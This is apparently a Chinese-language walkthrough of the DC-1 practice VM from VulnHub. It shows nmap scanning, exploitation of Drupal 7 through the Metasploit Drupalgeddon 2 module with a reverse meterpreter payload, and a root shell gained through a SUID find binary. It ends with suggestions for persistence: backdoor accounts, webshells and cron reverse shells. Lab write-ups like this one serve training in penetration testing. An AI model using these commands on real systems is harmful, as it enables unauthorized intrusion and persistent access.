
1. 项目概述从“靶机DC-1”说起为什么它依然是渗透测试的经典入门课如果你刚接触网络安全或者想从理论转向实战那么“靶机”这个词你肯定不陌生。而DC-1几乎可以算是这个领域的“Hello World”。它不是一个真实的、需要你负法律责任的系统而是一个被精心设计、充满漏洞的虚拟机镜像。你的任务就是扮演一个“白帽子”黑客利用各种技术手段从外部一步步突破它的防线最终拿到最高权限root并找到隐藏的“Flag”旗帜即目标文件。这个过程我们称之为渗透测试。DC-1之所以经典是因为它完美地模拟了一个老旧但现实中仍可能存在的网站环境一个基于Drupal内容管理系统的网站。Drupal本身功能强大但配置不当或版本过时就会成为攻击者的突破口。DC-1靶机将这些经典漏洞比如著名的Drupalgeddon漏洞集成在一个场景里让你能在一个安全、合法的环境中完整地走一遍“信息收集→漏洞利用→权限提升→获取目标”的标准流程。我当年就是靠着折腾DC-1才真正把书本上的SQL注入、命令执行这些名词变成了手指敲出的命令和屏幕上跳出的结果。对于新手而言成功拿下DC-1带来的成就感是看十篇理论文章都比不上的。2. 环境搭建与初始信息收集动手之前你得先把战场准备好。DC-1是一个ova格式的虚拟机文件你需要用VirtualBox或者VMware这样的虚拟化软件来运行它。这里我强烈建议使用VirtualBox因为它免费、轻量而且对这类靶机兼容性最好。2.1 靶机与攻击机环境配置首先去 VulnHub 官网搜索并下载 DC-1 的镜像文件。下载完成后在VirtualBox中导入这个ova文件。导入时几乎所有设置都可以保持默认但有一个关键点网络设置必须选择“仅主机Host-Only网络”。注意为什么是“仅主机网络”这是为了构建一个封闭的、安全的实验环境。在这个模式下你的物理机宿主机和虚拟机靶机DC-1、你的攻击机Kali Linux处于一个独立的虚拟网络中它们可以互相通信但都无法访问外部的真实互联网。这确保了你的所有攻击行为都被限制在这个沙盒里不会意外影响到其他网络设备这是安全测试的伦理底线。接下来你需要一个攻击机。Kali Linux是渗透测试的标准系统集成了几乎所有你需要的工具。同样在VirtualBox里安装一个Kali Linux虚拟机网络适配器也设置为“仅主机网络”。确保它和DC-1靶机在同一个虚拟网络下通常VirtualBox会默认创建一个名为vboxnet0的虚拟网卡两台虚拟机都挂载上去即可。启动两台虚拟机。首先需要找到DC-1的IP地址。由于靶机通常不会主动告诉你它的IP我们需要进行扫描。在Kali Linux中打开终端使用netdiscover或nmap进行存活主机发现。# 使用 netdiscover 扫描整个网段主动探测存活主机 sudo netdiscover -r 192.168.56.0/24 # 或者使用 nmap 进行 ping 扫描 sudo nmap -sn 192.168.56.0/24命令中的192.168.56.0/24是VirtualBox仅主机网络的常见网段如果你的环境不同需要根据ip addr命令查看vboxnet0网卡的实际IP段进行调整。扫描结果中除了你的Kali本机IP比如192.168.56.101之外另一个活跃的IP很可能就是DC-1靶机例如192.168.56.102。记下这个IP它就是我们要攻击的目标。2.2 全面的服务与端口探测知道IP后下一步是进行详细的端口扫描弄清楚目标开放了哪些“门”服务。我们使用Nmap这个“瑞士军刀”。sudo nmap -sV -sC -O -p- 192.168.56.102这个命令组合非常强大-sV探测服务版本。知道运行的是Apache 2.2.22还是OpenSSH 7.4对寻找漏洞至关重要。-sC使用默认的Nmap脚本进行扫描能发现一些常见的安全问题或获取额外信息。-O尝试识别操作系统。-p-扫描所有65535个端口避免遗漏像3306MySQL这样的非标准Web端口。扫描完成后你通常会看到类似这样的结果PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.0p1 Debian 4deb7u7 (protocol 2.0) 80/tcp open http Apache httpd 2.2.22 ((Debian)) 111/tcp open rpcbind 2-4 (RPC #100000) ...从结果中我们立刻能提取关键信息目标运行着Debian系统开放了22端口SSH和80端口HTTP Web服务。Web服务器是Apache 2.2.22这是一个比较旧的版本。我们的主攻方向毫无疑问就是80端口的Web应用。3. Web应用渗透与漏洞利用既然确定了Web是主要入口我们就打开浏览器访问http://192.168.56.102。一个标准的Drupal 7网站界面会呈现在眼前。Drupal会在页脚等处留下版本信息或者我们可以用whatweb这样的工具快速识别。whatweb http://192.168.56.102确认是Drupal 7后经验丰富的测试者脑子里应该立刻响起警报Drupal 7.x在历史上存在过多个严重远程代码执行漏洞其中最著名的就是Drupalgeddon (CVE-2014-3704)和Drupalgeddon 2 (CVE-2018-7600)。DC-1靶机正是利用了这些漏洞。3.1 利用Drupalgeddon 2获取初始立足点我们使用针对CVE-2018-7600的公开利用脚本。在Kali中可以使用searchsploit查找或者直接从网络获取Python脚本。这里我演示使用一个经典的PoC概念验证脚本。# 首先查找可用脚本 searchsploit drupal 7 # 通常会找到 Drupal 7.x (CVE-2018-7600) 的脚本例如 44449.rb # 我们可以使用MSFMetasploit Framework更方便地利用 msfconsole在Metasploit中use exploit/unix/webapp/drupal_drupalgeddon2 set RHOSTS 192.168.56.102 exploit如果目标存在此漏洞Metasploit会成功利用并给你返回一个Meterpreter会话。这是一个功能强大的后门让你可以在目标系统上执行命令。至此你已经成功突破了边界在Web服务器上获得了初始的代码执行权限。实操心得在实际测试中直接使用公开的自动化工具如MSF虽然快但有时会因为目标环境差异如PHP版本、函数禁用而失败。因此掌握手动验证和利用的原理很重要。Drupalgeddon 2的漏洞本质是在安装表单处理过程中未对用户输入进行充分过滤导致攻击者可以通过精心构造的POST请求将恶意代码注入到执行流程中。理解这一点你就能在工具失效时尝试调整payload或利用方式。获得Meterpreter会话后我们先进行基本的系统信息收集# 在meterpreter会话中 sysinfo # 查看系统信息 getuid # 查看当前用户权限 pwd # 查看当前目录你会发现当前用户可能是www-data这是Apache服务的默认运行账户权限很低。我们需要想办法提升权限。3.2 权限提升从www-data到root在低权限下我们无法读取系统关键文件如/etc/shadow或进行其他敏感操作。因此权限提升Privilege Escalation是必经的一步。在Linux系统中提权方法五花八门但DC-1为我们设计了一条经典的路径。首先在目标机器上寻找具有SUIDSet User ID特殊权限的文件。SUID文件在执行时会以文件所有者的身份运行。如果找到一个属于root且具有SUID权限的命令而我们又能以某种方式影响它的执行就可能实现提权。# 在meterpreter会话中切换到shell模式 shell # 或者使用 meterpreter 的 execute 命令 # 查找SUID文件 find / -perm -us -type f 2/dev/null在返回的列表中一个不常见的二进制文件可能会引起你的注意比如/usr/bin/find。find命令本身很常见但通常不应该被设置SUID位。如果它被设置了SUID且属于root这就是一个巨大的安全隐患。我们可以利用find命令的-exec参数来执行任意命令并且由于SUID这个命令会以root权限运行。# 在靶机的shell中执行 /usr/bin/find . -exec /bin/sh \; -quit执行后你会发现自己获得了一个新的shell。使用whoami命令查看如果返回root那么恭喜你已经成功提权到系统最高权限。注意事项这种利用方式非常直接在现代稍微新一点的系统中find命令的SUID位几乎肯定会被移除。DC-1故意保留了这个“古老”的漏洞是为了教学目的。在实际环境中你需要使用更复杂的提权技术比如利用内核漏洞如Dirty Cow、分析以root权限运行的定时任务cron job、滥用错误的sudo配置等。工具如linpeas或linux-exploit-suggester可以自动化地帮你发现系统的提权弱点。4. 信息搜集与最终目标获取拿到root权限后整个系统对你来说就是透明的了。但渗透测试的最终目的不仅仅是拿到root更是达成客户设定的目标。在CTF夺旗赛和很多靶机中这个目标就是找到特定的“flag”文件。4.1 定位Flag文件通常flag文件会以flag.txt、proof.txt或root.txt等名称存在并放在用户目录、/root或/var/www/等位置。我们可以使用find命令进行全局搜索。# 在root shell中 find / -name *flag* 2/dev/null find / -name *proof* 2/dev/null find / -name *.txt -type f | xargs grep -l flag{在DC-1中你会发现不止一个flag。这是它的另一个经典之处它设计了多个flag引导你探索系统的不同部分。你可能会在/var/www/目录下找到第一个flag与网站相关在/home目录下找到第二个与用户相关而最终的flag往往在/root目录下。4.2 探索与总结读取这些flag文件它们的内容可能是一串哈希值也可能是一段提示文本。例如第一个flag可能提示你“暴力破解不是唯一的方式”这或许在暗示你之前不应该在登录表单上浪费时间尝试爆破而应该直接寻找RCE漏洞。第二个flag可能提示你“检查配置文件”引导你去查看Drupal的settings.php文件里面可能包含数据库密码。通过数据库密码你可以连接到MySQL数据库查看drupal数据库中的users表尝试破解或修改管理员哈希密码这又是另一种攻击路径。DC-1通过这种方式将一次简单的漏洞利用扩展成了一个涵盖信息收集、漏洞利用、权限提升、密码破解、数据库操作的完整知识链。5. 常见问题与排查技巧实录在实际操作DC-1或类似靶机时你肯定会遇到各种问题。下面是我和学员们常遇到的一些坑及解决办法。5.1 网络连通性问题问题Kali能ping通自己但ping不通靶机IP或者反过来。排查检查虚拟机网络设置确保两台虚拟机Kali和DC-1的网卡都连接到同一个“仅主机Host-Only”网络适配器上。在VirtualBox全局设置中查看“主机网络管理器”确保只有一个活跃的vboxnet网卡并且两台虚拟机都勾选了它。检查防火墙确保Kali的防火墙没有阻止扫描sudo ufw disable可以临时关闭仅用于实验。靶机DC-1的防火墙默认是关闭的一般无需处理。重启网络服务在Kali中尝试sudo systemctl restart networking。有时VirtualBox的虚拟网卡需要重新获取IP。终极方法关闭所有虚拟机在VirtualBox中彻底删除那个虚拟网卡vboxnet0然后启动任意一台虚拟机VirtualBox会自动创建一个新的通常能解决问题。5.2 漏洞利用失败问题使用Metasploit的drupal_drupalgeddon2模块攻击后没有返回会话。排查确认目标版本再次用whatweb或浏览网站确认绝对是Drupal 7。Drupal 8也存在CVE-2018-7600但利用方式可能有细微差别。检查Payload和LHOST在MSF中确保PAYLOAD选择的是兼容的如php/meterpreter/reverse_tcp并且LHOST设置为你Kali在仅主机网络中的IP地址。尝试手动利用搜索引擎寻找“CVE-2018-7600 manual exploit”会有一些简单的curl命令PoC。手动执行可以更清晰地看到错误信息如403 Forbidden可能是某些路径被限制。靶机服务状态确认靶机的Apache服务正在运行在靶机里你暂时还做不到但可以看Kali的nmap扫描结果80端口是否开放。5.3 SUID提权失败问题执行/usr/bin/find . -exec /bin/sh \; -quit后新的shell用户还是www-data不是root。排查确认SUID位再次执行ls -la /usr/bin/find确认权限中确实有-rwsr-xr-x注意那个s并且所有者是root。命令路径问题有时/bin/sh可能是指向/bin/dash的链接而dash在启动时会自动降低权限。尝试使用/bin/bash/usr/bin/find . -exec /bin/bash -p \; -quit。-p参数告诉bash保留特权模式。当前目录权限确保你在一个www-data用户有权限读写的目录下执行该命令比如/tmp。5.4 找不到Flag文件问题用find命令搜遍了也找不到flag文件。排查文件名变体不要只搜“flag”试试“Flag”、“FLAG”、“proof”、“secret”、“key”、“.txt”、“.md”、“.php”。内容搜索Flag可能藏在文件内容里。使用grep -r flag{ / 2/dev/null或grep -r FLAG / 2/dev/null进行递归内容搜索。非常规位置检查Web目录下的配置文件config.php、settings.php、数据库备份文件.sql、历史命令文件~/.bash_history、计划任务文件/etc/crontab等。权限问题你可能已经在一个flag所在的目录里但因为它是其他用户的文件且没有读权限所以ls看不到用ls -la查看隐藏文件并用cat尝试读取你怀疑的文件即使ls显示你没有权限。6. 靶机之外的思考与技能延伸成功拿下DC-1只是一个开始。它像一本编排好的入门教程而真实的网络环境要复杂和混乱得多。基于DC-1的经验你可以从以下几个方面深化你的技能1. 手动漏洞利用深度练习不要满足于MSF一键getshell。尝试手动复现Drupalgeddon 2漏洞。在网上找到漏洞原理分析文章和原始的PHP PoC代码自己编写一个简单的Python脚本通过Requests库发送恶意的POST请求理解每一个参数的意义。这会让你对漏洞本质有飞跃性的认识。2. 多样化提权手法收集建立一个你自己的“提权检查清单”。除了SUID还有 *内核漏洞使用uname -a查看内核版本搜索对应的公开漏洞如Dirty Cow, CVE-2016-5195。 *sudo权限滥用运行sudo -l查看当前用户能以root身份无需密码运行哪些命令。如果包含vi、find、python等都可能用来提权。 *环境变量劫持如果SUID程序调用了未指定绝对路径的命令可以通过操纵PATH环境变量来劫持。 *定时任务检查/etc/crontab和/var/spool/cron/crontabs/看是否有全局可写的脚本被root定时执行。使用自动化脚本如LinEnum、linpeas进行全面的信息收集它们能帮你快速发现这些弱点。3. 横向移动与持久化DC-1是一个单机靶场。在真实网络中拿下Web服务器往往只是跳板。你需要学习如何横向移动——利用已控机器上的信息如密码哈希、SSH密钥、配置文件中的数据库密码去攻击网络内的其他机器。学习持久化技术如何在目标机器上安装后门确保即使被发现、漏洞被修补你仍然能维持访问权限。例如添加SSH密钥、创建隐藏的后门账户、安装Webshell、设置计划任务反弹shell等。4. 尝试其他经典靶机DC系列本身就有DC-2, DC-3, DC-4等难度递增涉及的技术点也不同比如DC-2需要破解SSHDC-3涉及另一个CMS漏洞。VulnHub和HackTheBox上有数百个难度各异的靶机。从“Beginner”或“Easy”级别开始逐步挑战。每个靶机都有其侧重点有的考察逻辑漏洞有的考察Windows系统渗透有的则模拟一个复杂的内部网络。我个人最深的体会是渗透测试是一门“动手的艺术”。看再多的视频和文章都不如自己亲手在靶机上敲一次命令、报一次错、解决一个问题来得实在。DC-1的价值就在于它用最低的入门门槛给了你一个完整的、正向的反馈循环发现问题→研究原理→利用漏洞→获得权限→达成目标。这个循环是驱动你在这个领域不断深入的最核心动力。当你对DC-1的每一步都了然于胸后不妨关掉攻略从头再来一遍尝试用不同的方法、走不同的路径达到同样的目标这才是真正内化知识的开始。